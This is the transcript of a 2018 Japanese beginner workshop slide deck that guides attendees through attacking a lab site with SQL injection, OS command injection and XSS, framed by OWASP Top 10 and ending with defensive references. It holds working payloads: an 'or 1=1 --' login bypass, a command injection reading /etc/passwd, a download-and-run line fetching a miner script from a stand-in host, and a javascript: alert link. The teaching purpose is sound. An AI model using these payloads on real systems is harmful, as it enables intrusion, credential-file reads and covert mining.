Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
_eLV_Web脆弱性を体験しよう.pdf
Search
zash_shibainu
May 19, 2018
1
510
_eLV_Web脆弱性を体験しよう.pdf
zash_shibainu
May 19, 2018
Tweet
Share
More Decks by zash_shibainu
See All by zash_shibainu
_脆弱性診断研究会_78_TruthPositiveのお話.pdf
zash_shibainu
0
63
[OWASP-Connnect-2]Snakes_and_Laddersやってみた.pdf
zash_shibainu
0
88
【eLV-SEC-2】ボードゲームでセキュリティを学ぼう.pdf
zash_shibainu
0
240
_SEC共有_15_過去のインシデント事例から学ぶこと.pdf
zash_shibainu
0
410
【IaCC#2】DockerImageでアプリを配布しよう
zash_shibainu
1
210
【ええんやで#59】Mutillidaeのインストールを見よう
zash_shibainu
0
490
OWASP Top10-2017対応版Dockerイメージの使い方
zash_shibainu
1
880
【ええんやで#57】他分野のプロから学ぶサイバーセキュリティ.pdf
zash_shibainu
1
140
没【ええんやで#57】2017年を振り返ってみる.pdf
zash_shibainu
0
130
Featured
See All Featured
Designing for Performance
lara
604
68k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
PRO
9
680
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
YesSQL, Process and Tooling at Scale
rocio
167
14k
How To Stay Up To Date on Web Technology
chriscoyier
788
250k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
159
15k
Building Better People: How to give real-time feedback that sticks.
wjessup
363
19k
How to Think Like a Performance Engineer
csswizardry
19
1.1k
4 Signs Your Business is Dying
shpigford
180
21k
How to train your dragon (web standard)
notwaldorf
88
5.7k
Measuring & Analyzing Core Web Vitals
bluesmoon
1
40
Building a Scalable Design System with Sketch
lauravandoore
459
33k
Transcript
None
0.自己紹介 1.目的とゴール 2.はじめに 2.1.現状把握 2.2.OWASP Top 10説明 3.説明&ハンズオン 4.まとめ eLV勉強会
Co-CreationLabのWifiに接続して、Firefoxで 「http://172.XX.XX.XX」に接続してください。 できない人は(゚Д゚)ノ 挙手 本資料は後でSpeakerDeckに上げるので がりがりメモらなくておkです( ´∀`)b マークのあるページは写真NGでお願いします 個人情報とかあるので… eLV勉強会
eLV勉強会
eLV勉強会 名前(ハンドル) 柴雑種(@zash_shibainu) 名前(本名) 柴田 諭史 仕事(現在) フリーランス・エンジニア - インフラ
- セキュリティ 職歴 2003~2006:プログラマ(デスマ多し…) 2006~2017:インフラエンジニア (基幹系、オンプレ多し) 2017~2018:セキュリティエンジニア(派遣) 2018~:フリーランス
参加している団体とか OWASP一般会員(https://www.owasp.org/index.php/Japan) Webアプリのセキュリティの普及/啓蒙 OWASP Top 10、ZAP(診断ツール)、MutillidaeⅡなど SPREAD一般会員(https://www.spread.or.jp/) ※マイスター 一般的なセキュリティの普及 eLV勉強会
この辺の勉強会もちょくちょく顔出してるので、知って る人いるかも… (許可取ってないので非公開で) eLV勉強会
2018/04/23昼公開 ↓ 夜には満席 ((((;゚Д゚)))) eLV勉強会 しかも25→30に 枠増やして貰って… (からの40枠)
eLV勉強会
目的: サイバー攻撃(Web脆弱性)を実際に体験する。 SQLインジェクション(SQLi) OSコマンドインジェクション(CMDi) クロスサイトスクリプティング(XSS) ゴール: サイバー攻撃を体感する。 危険性を学ぶ。 こんなん見えちゃったよ、おい((((;゚Д゚)))) ←ここ体験 どこに、どういう形で脆弱性が存在するか、その例を学ぶ。
eLV勉強会
今日のターゲット(皆さんの想定): IT開発に携わる人 アプリ インフラ ネットワーク セキュリティ 話のレベル感: これからWebセキュリティについて考えたい人 上からセキュリティについて言われているけど…という人 色々事件の話聞くけど、結局何よ?という人
eLV勉強会 ※説明用に、若干語弊のあるケースもあります。 今回ビギナー向けなので… 多分物足りないかと
今回、皆さんは一時的に攻撃者になり、不正アクセス などを行います。 あくまで学習用のサイトに対して、攻撃を行います。 一般のAmazonやGoogleなどのサイトに対して、 絶対に行わないでください。 アカウント停止(BAN)などされても、当方では責任は負いかねま す(;´Д`) eLV勉強会
できるだけスローペースを心掛けますが、 もし「何言ってんだこいつ」「もう少し詳しい説明を!」 とかあれば、遠慮なく言ってください。 私の独演会ではないので(;・∀・) きっと、あなたがわからないことは、他の誰かもわから ないです… あと、急に話を振ることもあるので( ・∀・) eLV勉強会
eLV勉強会
本章で話したいこと: 現在、ITを取り巻く環境ってどうなんでしょう? どのようなサイバー事件が起こっているのでしょう? 何か事前の参考情報ってないのでしょうか? eLV勉強会
突然ですが、何の数字かわかりますか? eLV勉強会
突然ですが、何の数字かわかりますか? eLV勉強会 http://goodfield.jp/2017/11/1425/ https://enterprisezine.jp/article/detail/10114
60兆あるとなにができるか… eLV勉強会 順位 会社名 億USD 兆JPY 1 アップル 8,385 88.0
2 アマゾン 7,599 79.8 3 マイクロソフト 7,185 75.4 4 アルファベット 7,070 74.2 5 フェイスブック 4,979 52.3 6 バークシャー・ハサウェイ 4,781 50.2 7 テンセント 4,759 50.0 http://www.180.co.jp/world_etf_adr/adr/ranking.htm ※1USD=105JPYで計算 ※2018年04月時点
つまり、 eLV勉強会
eLV勉強会
そもそも脆弱性(ぜいじゃくせい)って何? 早い話がプログラム/仕様/設定のバグです。 それが情報漏えいや改ざんなどのセキュリティ被害に繋がるもの。 eLV勉強会 サーバやパソコン Office (Word、Excel等) ブラウザ (Chrome、Edge等) その他
(Flash、Java等) OS(Windows、Mac、Linux) ファームウェア 設定ミス マサカリ覚悟の表現
脆弱性あるいはサイバー攻撃ってそんなあるもの? eLV勉強会 月 2017年:事件名 02 WP:150万以上のサイト改ざん 03 Struts2:S2-045/046(パーサ) 05 ランサム:WannaCry
06 ランサム:NotPetya 07 Struts2:S2-048(1系互換Plugin) 07 スウェーデン情報漏洩発表 08 PWD定期変更の変更ヽ( ^ω^)ノ 08 BGP事件(事故) 09 仮想通貨取引所へのDDoS 月 2017年:事件名 09 BlueTooth脆弱性(BlueBorne) 09 米Equifax情報漏洩(1.5億) 10 米Yahoo漏洩修正(10億→30億) 10 WPA2脆弱性(KRACKs) 10 ランサム:BadRabbit 11 米軍の情報がS3で公開設定 11 国内クラウドへのDDoS多発 12 米Alteryx情報漏洩(1.2億) 12 世界一有名なパスワード爆誕 From:Piyolog 脆弱性/ランサム/情報漏洩/その他
脆弱性があるとどうなるの? 意図しない動作が可能になり、色々できます(´・ω・`) eLV勉強会 Windowsの脆弱性(SMB:ファイル共有) HDD暗号化されます(´;ω;`) WannaCry (2017/05) URLをゴニョゴニョすると サイトが書き換えられてしまう… WordPress改ざん
(2017/02) ※世界で 150万サイト以上 Struts2脆弱性 (2017/03~) リモートからプログラムが 実行できてしまう… (Equifax、日本郵便、国交省…) http://d.hatena.ne.jp/Kango/20170311/1489253880 AWS-S3設定ミス (数え切れず) 機密情報が丸見えに…
攻撃事例(一部): 本来は見えない、顧客情報リストなどの表示(情報漏えい) OSを乗っ取って、踏み台にする 社内への侵入経路、攻撃用の発射台、など。 サイトを書き換えて、使用不能にする(改ざん) ECサイトなどは致命傷!! ウィルスの配布元にされてしまうケースも… WannaCryのように、復旧と引き換えに金銭要求 単なる破壊工作のケースも(NotPetya:電力関係停止!) ランサムだけでなく、DDoS脅迫などのケースもアリ。
最近はもっと直接的に、仮想通貨掘りにきます… eLV勉強会
図にするとこんな感じです。 eLV勉強会 インターネット 攻撃者 ファイアウォール 一般ユーザ Webサーバ 非公開NW 公開用NW (DMZ)
DBサーバ ・商品情報 ・顧客情報 社内LAN 攻撃者はここにある 情報が欲しい! 商品検索 そのために踏み台 にする サイト書き換えて 一般ユーザ騙す
eLV勉強会
急に話が飛びますが、OWASPってご存知でしょうか? eLV勉強会 https://www.owasp.org/index.php/Japan
以下OWASP Japanサイトから引用 日本に限らず、ワールドワイドに活動しているコミュニ ティです。 eLV勉強会 Webをはじめとするソフトウェアのセキュリティ環境の現状、 またセキュアなソフトウェア開発を促進する技術・プロセスに 関する情報共有と普及啓発を目的としたプロフェッショナルの 集まる、オープンソース・ソフトウェアコミュニティです。 日本国内でも色々イベント開催しているので
興味のある方は是非!
OWASP Top 10とは コミュニティに集められた情報から、最も重大と考えられる 10種類のWebアプリケーションリスクをまとめたもの。 あくまでTop 10であり、11位以降は気にしなくていい、ということ ではありませんので悪しからず… eLV勉強会
eLV勉強会 よく使われる攻撃 攻撃が容易なもの よくある(残っている) 脆弱性 攻撃成功時の ビジネスインパクトが大きい ・・・
何で今回OWASP Top 10なの? 最近(2017/11)アップデートされた けど、アップデートされたところは今回対象外です… PCI-DSS(クレジットカードの情報セキュリティ国際基準)で も採用されている。 セキュリティ製品の多くは、OWASP Top 10対応を謳っている。
そのぐらい、広く参照されているもの。 eLV勉強会 https://www.owasp.org/index.php/Japan
eLV勉強会 OWASP Top 10 - 2017 ①インジェクション ⑥不適切なセキュリティ設定 ②認証の不備 ⑦クロスサイトスクリプティング
③機微な情報の露出 ⑧安全でないデシリアラー ゼーション ④XML外部エンティティ参照 ⑨既知の脆弱性のあるコン ポーネントの使用 ⑤アクセス制御の不備 ⑩不十分なロギングとモニタリ ング 2ケース
本勉強会では、昔からよく知られている&わかりやす い、前ページ赤枠の3つのシナリオを体験します。 SQLインジェクション(SQLi) OSコマンドインジェクション(CMDi) クロスサイトスクリプティング(XSS) CSSじゃないのは、カスケード・スタイルシート(CSS)とスペル重な るから… eLV勉強会
eLV勉強会
ここから、実際に攻撃体験フェーズですv( ̄Д ̄)v 大体こんな感じで進めます。 攻撃概要の説明 攻撃実施(ヒントあり) 解説 皆さんブラウザの準備OK? 3.1.SQLインジェクション(SQLi) 3.2.OSコマンドインジェクション(CMDi) 3.3.クロスサイトスクリプティング(XSS) eLV勉強会
eLV勉強会
SQLインジェクション(SQLi)とは? SQL⇒ご存知の通り、データベース操作する言語です。 インジェクション(Injection)⇒「抽入」という意味 不正にWeb画面上で、SQLを記述して、想定外の動作を 起こさせる攻撃です。 eLV勉強会 正当なSQL +不当なSQL データベース 該当ユーザ検索
全ユーザ検索 ログインOK/NG ユーザリスト搾取
というわけで、百聞は一見にしかず、やってみましょう! ログイン画面から、こんな風に手繰ってください。 eLV勉強会
この画面には、SQLiの脆弱性が潜んでいます。 といきなり言われても…と思うので、徐々にヒント出し ます。 eLV勉強会
SQLi攻撃: ヒント1:わざとエラーを起こしてみましょう。 変な記号いれたりとか… ヒント2:エラーログ出ちゃってますね(;´Д`) ヒント3:'(シングルクオート)が文字区切りです。 「or 1=1」とすると全検索になります。 「--」がコメントアウトです。 eLV勉強会 SELECT
* FROM accounts WHERE username=''&%$' ~~
攻撃成功例: eLV勉強会 'or 1=1 -- ※末尾にスペースあり アカウント一覧表示!
今回組み立てたSQL(成形)は下記です。 eLV勉強会 SELECT * FROM accounts WHERE username='' OR 1=1
-- AND password='' ユーザ名が''(空)のもの、 もしくは何でも出せ、という構文です。
eLV勉強会
OSコマンドインジェクション(CMDi)とは? OSコマンド⇒cat(ファイル内容表示)、cp、rmなど インジェクション⇒抽入 先ほどはSQL(データベース)でしたが、今度は直接OSコマン ド叩きます。 ということは…危険性は言わずもがな。 eLV勉強会 正当な処理 +不当な処理
SQLiとは別の画面で実行しますので、下記図のように 手繰ってください。 eLV勉強会
今回は以下のような手順で、攻撃を考えます。 (1):正常動作の確認 (2):(1)の結果から、どういう処理が発行されているか推測 (3):攻撃の仕込みの検討&攻撃実施 まずは正常動作を確認しましょう! eLV勉強会
DNS問い合わせの画面なので「www.elv.tokyo」で検索 します。 eLV勉強会
推測:どのようなコマンドが、裏で実行されているで しょうか? eLV勉強会 # alpine生だとdigは入ってないらしい… / # nslookup www.elv.tokyo Name:
www.elv.tokyo Address 1: 133.242.182.28 www2014gj.sakura.ne.jp / # nslookup **が実行されているらしいので、 その後ろにコマンドが繋げられれば…
Linuxで1行で、複数行のコマンドを書くときはどうする でしょうか? そう、;や&&など使います! これを使って「/etc/passwd」でも表示(cat)してみま しょう! eLV勉強会 / # echo "hello";
echo "world" hello world / #
攻撃成功例: eLV勉強会 www.elv.tokyo; cat /etc/passwd nslookupの結果 cat **の結果
今回はcatだけでしたが、例えばwgetとか書いたらどう でしょうか。 コマンドも、3つ4つと続けて書けば… eLV勉強会 nslookup www.elv.tokyo; wget hxxp://example.jp/miner.sh; sh miner.sh
wget miner.sh 実行
eLV勉強会
クロスサイトスクリプティングとは? クロスサイト(Cross-Site)⇒サイトを跨ぐ(今回は跨がない) スクリプティング(Scripting)⇒処理 サイトにトラップを仕掛け、別サイトに誘導や攻撃をさ せたり、怪しいリンククリックさせたり…と。 eLV勉強会 トラップ トラップ踏む 悪意あるサイト
今回はBlogに、XSSで罠を仕掛けます。 eLV勉強会
Blog本文(Comment)には、HTMLタグが使えるようです。 eLV勉強会 色々スクリプト構文 試してみましょう
今回、私はこんなもの仕込んでみました。 eLV勉強会 <a href=javascript:alert("Hacked")> サングラス特売中! </a>
間違ってリンク踏むと… 今回はAlertでポップアップ画面出すだけでしたが、 当然Scriptではもっと色々なことが… 最近だとコインマイナー多い? eLV勉強会
eLV勉強会
今回、メジャーな以下Web脆弱性3つを体験しました。 SQLインジェクション OSコマンドインジェクション クロスサイトスクリプティング オーソドックスな形式なら、意外と簡単にできません でした? つまり、攻撃はさほど難しいものではないのです。 eLV勉強会
では、容易に攻撃されないため、何をしたらいいで しょうか? まずはIPAの「安全なウェブサイトの作り方」などを参考にす ることをお勧めします! eLV勉強会 https://www.ipa.go.jp/security/vuln/websecurity.html
eLV勉強会